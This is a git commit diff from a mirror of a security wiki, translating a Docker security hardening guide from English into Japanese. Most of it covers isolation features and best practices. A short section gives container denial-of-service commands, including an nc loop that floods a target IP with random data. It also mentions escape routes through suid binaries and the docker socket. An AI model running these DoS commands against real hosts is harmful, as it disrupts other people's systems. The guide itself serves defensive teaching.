maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

Browse Source
This commit is contained in:
Translator 2025-01-02 21:11:30 +00:00
parent e6f55cd1e0
commit 0caa966bb8
228 changed files with 7721 additions and 11138 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1064
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

298
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -2,56 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **基本的なDockerエンジンのセキュリティ**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basic Docker Engine Security**
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を利用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**auth plugin**は、ユーザーの行動をさらに制限することができます。
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
### Dockerエンジンへの安全なアクセス
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Dockerエンジンには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。
Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、以下の設定を追加してDockerデーモンをHTTPソケット経由で公開します：
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
しかし、セキュリティ上の懸念から、HTTP経由でDockerデーモンを公開することは推奨されません。HTTPSを使用して接続を保護することをお勧めします。接続を保護するための主なアプローチは2つあります：
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. クライアントがサーバーのアイデンティティを確認します。
2. クライアントとサーバーが互いのアイデンティティを相互認証します。
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
証明書はサーバーのアイデンティティを確認するために使用されます。両方の方法の詳細な例については、[**このガイド**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)を参照してください。
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### コンテナイメージのセキュリティ
### Security of Container Images
コンテナイメージは、プライベートまたはパブリックリポジトリに保存できます。Dockerはコンテナイメージのためのいくつかのストレージオプションを提供しています：
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。
- [**Docker Registry**](https://github.com/docker/distribution): ユーザーが自分のレジストリをホストできるオープンソースプロジェクト。
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリオファリング。
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### イメージスキャン
### Image Scanning
コンテナは、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
詳細については、[**こちらをお読みください**](https://docs.docker.com/engine/scan/)。
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、hello-worldイメージをスキャンするには、次のコマンドを実行します：
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker イメージ署名
### Docker Image Signing
Docker イメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です：
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker Content Trust** は、Notary プロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。
- Docker コンテンツトラストを有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Docker バージョン 1.10 以降ではデフォルトでオフになっています。
- この機能が有効な場合、署名されたイメージのみがダウンロードできます。最初のイメージプッシュには、ルートおよびタグ付けキーのパスフレーズを設定する必要があり、Docker はセキュリティを強化するために Yubikey もサポートしています。詳細は [こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) で確認できます。
- コンテンツトラストが有効な状態で署名されていないイメージをプルしようとすると、「No trust data for latest」というエラーが発生します。
- 最初のイメージプッシュの後、Docker はイメージに署名するためにリポジトリキーのパスフレーズを要求します。
プライベートキーをバックアップするには、次のコマンドを使用します：
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Dockerホストを切り替える際は、操作を維持するためにルートおよびリポジトリキーを移動する必要があります。
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## コンテナのセキュリティ機能
<details>
<summary>Summary of Container Security Features</summary>
<summary>コンテナセキュリティ機能の概要</summary>
**Main Process Isolation Features**
**主なプロセス隔離機能**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために重要です。以下は、主要な概念の簡単な説明です：
**Namespaces**
**ネームスペース**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **目的**: プロセス、ネットワーク、ファイルシステムなどのリソースの隔離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。
- **`unshare`の使用**: `unshare`コマンド（または基盤となるシステムコール）は、新しいネームスペースを作成するために利用され、追加の隔離層を提供します。ただし、Kubernetesはこれを本質的にブロックしませんが、Dockerはブロックします。
- **制限**: 新しいネームスペースを作成しても、プロセスがホストのデフォルトネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。
**Control Groups (CGroups)**
**コントロールグループ (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **機能**: 主にプロセス間でリソースを割り当てるために使用されます。
- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って設定されると、無許可のアクセスに悪用される可能性があります。
**Capability Drop**
**能力のドロップ**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **重要性**: プロセス隔離のための重要なセキュリティ機能です。
- **機能**: 特定の能力をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のために失敗します。
これらは、プロセスが他の能力をドロップした後の**残りの能力**です：
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
Dockerではデフォルトで有効になっています。これは、プロセスが呼び出すことができる**syscallsをさらに制限する**のに役立ちます。\
**デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Dockerには有効化できるテンプレートがあります：[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
これにより、能力、syscalls、ファイルやフォルダへのアクセスを減らすことができます...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
**Namespaces**はLinuxカーネルの機能で、**カーネルリソースを分割**し、あるセットの**プロセス**があるセットの**リソース**を**見る**一方で、**別の**セットの**プロセス**が**異なる**セットのリソースを見ることができます。この機能は、リソースとプロセスのセットに同じnamespaceを持たせることによって機能しますが、それらのnamespaceは異なるリソースを指します。リソースは複数の空間に存在することがあります。
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Dockerは、コンテナの隔離を実現するために以下のLinuxカーネルNamespacesを利用しています：
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
**namespacesに関する詳細情報**は以下のページを確認してください：
{{#ref}}
namespaces/
@ -179,22 +147,18 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000.
Linuxカーネルの機能**cgroups**は、**cpu、memory、io、network bandwidthなどのリソースを制限する**能力を提供します。Dockerは、特定のコンテナのリソース制御を可能にするcgroup機能を使用してコンテナを作成できます。\
以下は、ユーザースペースのメモリが500mに制限され、カーネルメモリが50mに制限され、cpuシェアが512、blkioweightが400に設定されたコンテナです。CPUシェアはコンテナのCPU使用量を制御する比率です。デフォルト値は1024で、範囲は0から1024です。3つのコンテナが同じCPUシェア1024を持つ場合、各コンテナはCPUリソースの競合が発生した場合に最大33%のCPUを使用できます。blkio-weightはコンテナのIOを制御する比率です。デフォルト値は500で、範囲は10から1000です。
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
コンテナのcgroupを取得するには、次のようにします:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
より詳しい情報は次を確認してください：
{{#ref}}
cgroups.md
@ -202,9 +166,9 @@ cgroups.md
### Capabilities
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します**。
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないことを保証しようとします：
{{#ref}}
../linux-capabilities.md
@ -212,7 +176,7 @@ When a docker container is run, the **process drops sensitive capabilities that
### Seccomp in Docker
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
これは、Dockerが**コンテナ内で使用できるsyscallsを制限する**ことを可能にするセキュリティ機能です：
{{#ref}}
seccomp.md
@ -220,7 +184,7 @@ seccomp.md
### AppArmor in Docker
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています：
{{#ref}}
apparmor.md
@ -228,13 +192,13 @@ apparmor.md
### SELinux in Docker
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。
- **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対してどのようなアクションを実行できるかを定義するセキュリティポリシーを強制します。
- **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は制限されたSELinuxラベル、一般的には`container_t`が割り当てられます。
- **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常`container_file_t`としてラベル付けされます。
- **ポリシールール**: SELinuxポリシーは、`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用（読み取り、書き込み、実行）できることを主に保証します。
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとのみ相互作用するように制限され、そうした侵害からの潜在的な損害が大幅に制限されます。
{{#ref}}
../selinux.md
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
### AuthZ & AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
Dockerでは、認可プラグインがセキュリティにおいて重要な役割を果たし、Dockerデーモンへのリクエストを許可またはブロックするかを決定します。この決定は、2つの重要なコンテキストを調べることによって行われます：
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかに関する包括的な情報が含まれます。
- **コマンドコンテキスト**: これには、行われているリクエストに関連するすべての重要なデータが含まれます。
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
これらのコンテキストは、認証されたユーザーからの正当なリクエストのみが処理されることを保証し、Docker操作のセキュリティを強化します。
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## コンテナからのDoS
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- 帯域幅DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## 興味深いDockerフラグ
## Interesting Docker Flags
### --privilegedフラグ
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
次のページでは**`--privileged`フラグが何を意味するか**を学ぶことができます：
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
攻撃者が低い権限のユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用し、**コンテナ内で権限を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。
**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権限昇格を**防ぐ**ことができます。
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### その他
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Other Security Considerations
## その他のセキュリティ考慮事項
### Managing Secrets: Best Practices
### シークレットの管理: ベストプラクティス
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させます。
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit**はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。
To leverage BuildKit, it can be activated in three ways:
BuildKitを活用するには、以下の3つの方法で有効化できます：
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. 環境変数を通じて: `export DOCKER_BUILDKIT=1`
2. コマンドにプレフィックスを付けて: `DOCKER_BUILDKIT=1 docker build .`
3. Docker設定でデフォルトで有効にする: `{ "features": { "buildkit": true } }`、その後Dockerを再起動します。
BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
実行中のコンテナに必要な秘密のために、**Docker Compose と Kubernetes** は堅牢なソリューションを提供します。Docker Compose は、`docker-compose.yml` の例に示すように、秘密ファイルを指定するためにサービス定義内の `secrets` キーを利用します:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
この設定により、Docker Composeを使用してサービスを起動する際にシークレットを使用することができます。
This configuration allows for the use of secrets when starting services with Docker Compose.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
Kubernetes環境では、シークレットがネイティブにサポートされており、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)のようなツールでさらに管理できます。Kubernetesのロールベースアクセス制御（RBAC）は、Docker Enterpriseと同様にシークレット管理のセキュリティを強化します。
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers**は、軽量の仮想マシンを使用して安全なコンテナランタイムを構築するために活動しているオープンソースコミュニティです。これにより、コンテナのように感じられ、動作しますが、**ハードウェア仮想化**技術を使用して、より強力なワークロードの隔離を提供します。
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### まとめのヒント
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御する簡単な方法です。
- **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、機能、cgroupsによって軽く制限されています。
- [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは機能を必要とせず、追加すると潜在的な攻撃の範囲が広がります。
- [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスがより多くの特権を取得するのを防ぎます。例えば、suidバイナリを通じて。
- [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。
- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **（またはSELinux）プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。**
- **公式のdockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のものを構築してください。** バックドア付きの[**イメージを継承したり使用しないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。
- **定期的に** **イメージを再構築して、ホストとイメージにセキュリティパッチを適用します。**
- **シークレットを賢く管理**して、攻撃者がアクセスしにくくします。
- Dockerデーモンを**公開する場合は、クライアントとサーバーの認証を使用してHTTPSを使用してください。**
- Dockerfileでは、**ADDの代わりにCOPYを優先してください。** ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにしてください。
- **各マイクロサービスに対して別々のコンテナを持つ**
- **コンテナ内にsshを置かないでください。** “docker exec”を使用してコンテナにsshできます。
- **より小さな**コンテナ**イメージを持つ**
## Docker Breakout / Privilege Escalation
## Dockerブレイクアウト / 特権昇格
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
